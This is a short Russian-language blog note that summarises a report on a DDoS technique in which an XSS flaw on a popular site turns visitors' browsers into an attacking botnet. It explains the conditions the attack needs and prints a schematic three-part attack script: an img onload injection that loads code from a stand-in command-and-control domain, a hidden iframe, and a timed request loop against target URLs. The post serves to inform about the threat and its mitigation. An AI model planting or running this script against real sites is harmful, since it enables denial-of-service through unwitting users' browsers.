Зомби-посетители

Новый вектор DDoS-атаки: зомби-посетители

В блоге Incapsula появилась интересная заметка о новом типе DDoS-атак. на этот раз в виде атакующей сети выступают посетители популярного веб-ресурса.

Была проведена DDoS-атака мощностью 20 миллионов GET-запросов, источником которых были браузеры 22 тысяч пользователей, которые зашли на инфицированный сайт. Самое интересное, что атака стала возможной благодаря уязвимости в в одном из наиболее популярных сайтов (входящем в Alexa50).

Наличие XSS открывает двери DDoS-атаке большого масштаба

Для успешности проведения такого рода атаке необходимо несколько условия:

  • Высокая посещаемость сайта — площадки для атаки
  • Наличие на сайте XSS-уязвимости, затрагивающей потенциально большое количество страниц
  • Значительное время посещения сайта

Сама XSS-уязвимость может быть любого рода, важно только, чтобы она могла быть использована на значительном количестве страниц, чтобы пользователи сайта гарантированно получали вредоносное содержимое и были невольными участниками DDoS-атаки.

Схема DDoS-атаки с применением XSS

Ситуация осложняется, если пользователь зараженного сайта проводит значительное время на каждой странице (например, просматривая видео или фотографии). В этом случае однажды запущенный скрипт будет продолжать атака из браузера пользователя все время посещения сайта — а то может быть и 10, и 20, и 30 минут.

Сам вредоносный скрипт разделяется на три части:

// Инъекция в тег <img>, XSS-уязвимость
<img src="/imagename.jpg" 
onload="$.getScript('http://c&cdomain.com/index.html')" />

// Загрузка вредоносного iframe
$("body").append("<iframe id='ifr11323' style='display:none;' 
src='http://c&cdomain.com/index.html'></iframe>");

// Схематичное проведение DDoS-атаки из загруженного iframe
<html><body> 
<h1>Iframe</h1>
<script>    
ddos('http://www.target1.com/1.jpg',
    'http://www.target2.com/1.jpg');
function ddos(url,url2){
            window.setInterval(function (){
                $.getScript(url);
                $.getScript(url2);
                        },1000)
        }
</script>
</body></html>

Первая часть производит загрузку вредоносного JavaScript со служебного домена (находящего под управлением атакующих). Вторая часть загружает требуемый для атаки невидимый iframe. Третья часть осуществляет саму DDoS-атаку по заданным векторам (адресам). В простом случае от второй части можно отказаться, но это усложнит управление атакующими мощностями.

Отражение атаки

К счастью, поскольку атака практически вся автоматизирована (выбор векторов задан алгоритмически), то она может быть легко отражена большинством существующих инструментов и сервисов. В частности, разновидности такой атаки использовались в случае защиты от DDoS сайта Русской линии, когда мощность атак доходила до 3 млн. запросов в секунду.